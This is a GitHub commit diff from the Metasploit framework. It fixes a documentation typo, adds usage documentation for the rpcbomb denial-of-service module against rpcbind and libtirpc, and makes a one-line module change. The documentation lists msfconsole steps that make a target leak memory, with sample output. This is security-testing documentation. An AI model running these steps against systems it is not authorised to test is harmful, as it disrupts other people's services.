File tree Expand file tree Collapse file tree 3 files changed +31
-1
lines changed
documentation/modules/auxiliary/dos/rpc
modules/auxiliary/dos/rpc Expand file tree Collapse file tree 3 files changed +31
-1
lines changed Original file line number Diff line number Diff line change @@ -8,7 +8,7 @@ msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS ip-range
8
8
msf <%= mod . type %> (<%= mod . shortname %> ) > exploit
9
9
```
10
10
11
- Other examples of setting the RHSOTS option:
11
+ Other examples of setting the RHOSTS option:
12
12
13
13
Example 1:
14
14
Original file line number Diff line number Diff line change
1
+ ## Vulnerable Application
2
+
3
+ This module [ exploits a vulnerability] ( http://openwall.com/lists/oss-security/2017/05/03/12 ) in rpcbind through 0.2.4,
4
+ LIBTIRPC through 1.0.1 and 1.0.2-rc through 1.0.2-rc3, and NTIRPC through 1.4.3.
5
+
6
+ Exploiting this vulnerability allows an attacker to trigger large (and never freed) memory allocations for XDR strings on the target.
7
+
8
+ ## Verification Steps
9
+
10
+ 1 . Start msfconsole
11
+ 1 . Do: ` use auxiliary/dos/rpc/rpcbomb `
12
+ 1 . Do: ` set RHOSTS [IP] `
13
+ 1 . Do: ` run `
14
+ 1 . Target should leak memory
15
+
16
+ ## Scenarios
17
+
18
+ ### rpcbind 0.2.3-0.2 on Ubuntu 16.04 (amd64)
19
+
20
+ ```
21
+ msf > use auxiliary/dos/rpc/rpcbomb
22
+ msf auxiliary(rpcbomb) > set RHOSTS 10.0.2.7
23
+ RHOSTS => 10.0.2.7
24
+ msf auxiliary(rpcbomb) > run
25
+
26
+ [*] Scanned 1 of 1 hosts (100% complete)
27
+ [*] Auxiliary module execution completed
28
+ msf auxiliary(rpcbomb) >
29
+ ```
Original file line number Diff line number Diff line change 6
6
class MetasploitModule < Msf ::Auxiliary
7
7
8
8
include Msf ::Auxiliary ::Dos
9
+ include Msf ::Auxiliary ::Report
9
10
include Msf ::Auxiliary ::UDPScanner
10
11
11
12
def initialize ( info = { } )
You can’t perform that action at this time.
0 commit comments